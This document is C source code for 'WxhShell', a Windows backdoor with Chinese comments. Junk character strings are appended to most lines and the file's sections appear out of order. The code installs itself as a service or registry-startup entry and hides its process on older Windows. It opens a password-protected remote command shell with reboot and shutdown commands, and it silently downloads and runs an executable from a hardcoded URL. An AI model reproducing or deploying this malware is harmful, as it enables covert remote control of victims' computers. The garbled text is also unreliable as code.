ULONG UniqueProcessId; C@ZK~Y_g
ULONG InheritedFromUniqueProcessId; .~A*=
} PROCESS_BASIC_INFORMATION; GYxM0~:$k
SvM6iZ]
PROCNTQSIP NtQueryInformationProcess; S_MyoXV
z}QwP~Z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "xI"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aimarU
qU2~fNY
HANDLE hProcess; k %e^kej
PROCESS_BASIC_INFORMATION pbi; <P[T!gST
bK"SKV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i$G;f^Z!Y
if(NULL == hInst ) return 0; (
9!k#
h+p*=|j`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u@'0Vk0zGH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :NHH
Dl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xJ^>pg8
G@FI0\t
if (!NtQueryInformationProcess) return 0; oBQ#eW aY
$E<Esf$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fqX"Lus `=
if(!hProcess) return 0; y.5/?{GL
}VS3L_
;}/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ars687WB
s4Sd>D7
CloseHandle(hProcess); KH)D08
Xp\/YJOibd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OMhef,,H
if(hProcess==NULL) return 0; h^,8rd
4%4avEa"w
HMODULE hMod; (fNUj4[
char procName[255]; v 8T$ &-HJ
unsigned long cbNeeded; 'w>_+jLT
#/"8F O%~p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mpAR7AG6
>EL)X
#e
CloseHandle(hProcess); 3~,d+P
E J$36
if(strstr(procName,"services")) return 1; // 以服务启动 {,*"3O:\:
XBd>tdEP
return 0; // 注册表启动 [b%:.bjY
} B\J^=W+`
V@>r*7\F
// 主模块 GRb*EeT
int StartWxhshell(LPSTR lpCmdLine) T2}FYVj?!g
{ q)H1pwxD
SOCKET wsl; u p.Q>28r
BOOL val=TRUE; l Z#o+d2Y
int port=0; lzw3= H
struct sockaddr_in door; ,NnhHb2\
sK{l 9
if(wscfg.ws_autoins) Install(); +iRq8aS_
.Ha'p.
port=atoi(lpCmdLine); A+y
JdIlWJY
if(port<=0) port=wscfg.ws_port; CTWn2tpW
t+5E#!y
WSADATA data; mj|)nOd
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j4?@(u9;j
CkJCi
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7.DtdyM
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VrZ>bma;
door.sin_family = AF_INET; "UEv&mQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9lB]~,z
door.sin_port = htons(port); vN2u34
d(g^M1m
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F+ E|r6'i
closesocket(wsl); 91Uj}n%
return 1; iX0iRC6f
} u6`=x$&
#cj6{%c4
if(listen(wsl,2) == INVALID_SOCKET) { fc/ &X
closesocket(wsl); ? uYu`Ojzr
return 1; *~m+Nc`D,N
} 8ElKD{.BU8
Wxhshell(wsl); \Mg`(,kwe
WSACleanup(); [tMZ G%h
jTLSdul+
return 0; z4&iK)x
u:aW 8
} TCT57P#b
I^oE4o
// 以NT服务方式启动 YF+n
b.0.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dw.F5?j`b
{ Wf{O[yL*
DWORD status = 0; V([~r,
DWORD specificError = 0xfffffff; kdb(I@6
mv5n4mav
serviceStatus.dwServiceType = SERVICE_WIN32; yLsz8j-QJ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; V5p=
mmnA,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :>p8zG
serviceStatus.dwWin32ExitCode = 0; 3Tn)Z1o
serviceStatus.dwServiceSpecificExitCode = 0; 5 H#W[^s"
serviceStatus.dwCheckPoint = 0; \rVQQ|l
serviceStatus.dwWaitHint = 0; GTHkY*
0afei4i~N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3!5Ur&
if (hServiceStatusHandle==0) return; Fg Lrb#
_fZZ_0\Q
status = GetLastError(); WK="J6K5
if (status!=NO_ERROR) w.&1%X(k
{ ',GS#~
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4t)%<4
serviceStatus.dwCheckPoint = 0; %pXAeeSY`;
serviceStatus.dwWaitHint = 0; <C9 XX~
serviceStatus.dwWin32ExitCode = status; [F5h
serviceStatus.dwServiceSpecificExitCode = specificError; ""s]zNF}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0rGSH*(
return; ' B
} PMfkA!.Y
Me6+~"am/
serviceStatus.dwCurrentState = SERVICE_RUNNING; lN9=TxH1(;
serviceStatus.dwCheckPoint = 0; c)@>zto#
serviceStatus.dwWaitHint = 0; c5|:,wkx
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "B_K
XL
} cUDoN`fSl,
V/LQ<Yke
// 处理NT服务事件,比如:启动、停止 RT>{*E<I
VOID WINAPI NTServiceHandler(DWORD fdwControl) U%h);!<
{ %lg=YGLQB
switch(fdwControl) ;Ag
3c+
{ WD'#5]#Y
case SERVICE_CONTROL_STOP: ' oFxR003
serviceStatus.dwWin32ExitCode = 0; 8ssJ<LP
serviceStatus.dwCurrentState = SERVICE_STOPPED; c\% r38
serviceStatus.dwCheckPoint = 0; "zIFxDR#
serviceStatus.dwWaitHint = 0; ?BhMjsy.
{ K(XN-D/c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ",{ibh)g$`
} M)sZSH.<O
return; 3pmWDG6L
case SERVICE_CONTROL_PAUSE: KFa_
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1xv8gC:6
break; `GXkF:f=
case SERVICE_CONTROL_CONTINUE: ?YeWH
WM
serviceStatus.dwCurrentState = SERVICE_RUNNING; %%cHoprDa
break; ={hX}"*D
case SERVICE_CONTROL_INTERROGATE: JoSJH35=:
break; OLI$1d_
}; rpw.]vnn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hK<5KZ/4
} QJ|a p4r
e)E$}4
// 标准应用程序主函数 w,Ee>cV]a
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^!q?vo\j|
{ ;W>Y:NCrp
^( Rvk
// 获取操作系统版本 -R{V-
OsIsNt=GetOsVer(); y1=NF
GetModuleFileName(NULL,ExeFile,MAX_PATH); b,KcBQ.
Ew3ibXD
// 从命令行安装 8BvonYt=8
if(strpbrk(lpCmdLine,"iI")) Install(); jNeI2-9c}
u !!X6<
// 下载执行文件 :UJ a&$)
if(wscfg.ws_downexe) { wCk~CkC?
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P]z[v)}
WinExec(wscfg.ws_filenam,SW_HIDE); f@co<iA
} %p
X6QRt?
gNG r!3*)w
if(!OsIsNt) { g R
nOd
// 如果时win9x,隐藏进程并且设置为注册表启动 \p%3vRwS%p
HideProc(); sZ?mP;Q
StartWxhshell(lpCmdLine); @,XSs
} #Wu*3&a]yU
else
Mkq( T[)
if(StartFromService()) ~n}k\s~|4
// 以服务方式启动 :$+-3_oLMQ
StartServiceCtrlDispatcher(DispatchTable); @|'5n
else wW>)(&!F
// 普通方式启动 t20PP4FWM
StartWxhshell(lpCmdLine); ^*\XgX
ZIdA\_c
return 0; fb da
} LSQz"Ll
l
ITy/eZ"&:
BPr^D0P
xJ2*LM-
=========================================== Ma|qHg
tTU=+*Io
P9T5L<5
.Yw'oYnS
F ]O$(7*
Su 5>$
" lD{Aa!\
?uMQP NYs
#include <stdio.h> {D g_?._d
#include <string.h> vy,&N^P
#include <windows.h> w{k)XY40sW
#include <winsock2.h> Cye$H9 2
#include <winsvc.h> ={?vAb:
#include <urlmon.h> -uh(?])H
OIl#DV.
#pragma comment (lib, "Ws2_32.lib") ;+1RUv
#pragma comment (lib, "urlmon.lib") 21RP=0Q:
t*@z8<H
#define MAX_USER 100 // 最大客户端连接数 KgN)JD>
#define BUF_SOCK 200 // sock buffer ps$7bN C
#define KEY_BUFF 255 // 输入 buffer WL+]4Wiz
L#)(H^[
#define REBOOT 0 // 重启 8QK5z;E2~
#define SHUTDOWN 1 // 关机 H'F6$ypoS
>%E([:$A
#define DEF_PORT 5000 // 监听端口 m0{ !hF[^
) _ I,KEe
#define REG_LEN 16 // 注册表键长度 5d@t7[]
#define SVC_LEN 80 // NT服务名长度 ( )sTb>L
JY!l!xH(6
// 从dll定义API LI)!4(WH
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,
*qCf@$I
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +\Q?w?DE|
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m*X[ Jtr
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'B0{U4?
Jgu94.;5
// wxhshell配置信息 -CH`>
struct WSCFG { ~ d^<_R
int ws_port; // 监听端口 ;6
+}z~
char ws_passstr[REG_LEN]; // 口令 .Wi{lt
int ws_autoins; // 安装标记, 1=yes 0=no 20rkKFk*
char ws_regname[REG_LEN]; // 注册表键名 {G*A.$-d
char ws_svcname[REG_LEN]; // 服务名 ceGa([#!\_
char ws_svcdisp[SVC_LEN]; // 服务显示名 e4FM} z[
char ws_svcdesc[SVC_LEN]; // 服务描述信息 PM":Vd/
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )6~1 ^tD
int ws_downexe; // 下载执行标记, 1=yes 0=no d3^OEwe
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rw)kAe31
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0ult7s}
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}; aQ j*KMc
rwIeqV{:
// default Wxhshell configuration fA48(0p
struct WSCFG wscfg={DEF_PORT, fri0XxF
"xuhuanlingzhe", mW%?>Z1=>d
1,
kj5Q\vr)
"Wxhshell", BK,sc'b
"Wxhshell", l<(Y_PE:
"WxhShell Service", ~7!7\i,Y8\
"Wrsky Windows CmdShell Service", v&FF|)$
"Please Input Your Password: ", w#i[_
1, 97!>%d[0
"http://www.wrsky.com/wxhshell.exe", z'p:gv]
"Wxhshell.exe" Da$r `
}; g/UaYCjM
X}P$emr7
// 消息定义模块
>ds%].$-\
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0tk#Gs[
char *msg_ws_prompt="\n\r? for help\n\r#>"; VCy5JH
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I &* _,d
char *msg_ws_ext="\n\rExit."; gfU-"VpHE
char *msg_ws_end="\n\rQuit."; &/.hx(#d
char *msg_ws_boot="\n\rReboot..."; V E2tq k%
char *msg_ws_poff="\n\rShutdown..."; ;DnUQj
char *msg_ws_down="\n\rSave to "; c^8o~K>w84
+*oS((0s
char *msg_ws_err="\n\rErr!"; d+iR/Ssc
char *msg_ws_ok="\n\rOK!"; /9yaW7w
ZV}X'qGaq
char ExeFile[MAX_PATH]; +D#Z n!P
int nUser = 0; 8&"(WuZ@
HANDLE handles[MAX_USER]; ;jK#[*y
int OsIsNt; z<gu00U7
t4Z
SERVICE_STATUS serviceStatus;
O?EB8RB
SERVICE_STATUS_HANDLE hServiceStatusHandle; Q
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+&KQ28r
// 函数声明 bshGS8O
int Install(void); -G
&_^"=R
int Uninstall(void); HEqWoV]{d
int DownloadFile(char *sURL, SOCKET wsh); K7I&sS^x
int Boot(int flag); 04!(okubyp
void HideProc(void); ;evCW$G=
int GetOsVer(void); 0e["]Tlnm
int Wxhshell(SOCKET wsl); l6[lJ0Y
void TalkWithClient(void *cs); \F, DA"K_
int CmdShell(SOCKET sock); }W)=@t
int StartFromService(void); O gmO&cE
int StartWxhshell(LPSTR lpCmdLine); 8|twV35
NkxCs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tNs~M4TVVH
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?(KvQK|d4
R4%P:qM
// 数据结构和表定义 O\;= V`z-
SERVICE_TABLE_ENTRY DispatchTable[] = YC_3n5F%
{ #iSFf
{wscfg.ws_svcname, NTServiceMain}, r^$~>!kZ|
{NULL, NULL} ]Pn!nSg
}; f7}"lG]q
z/ &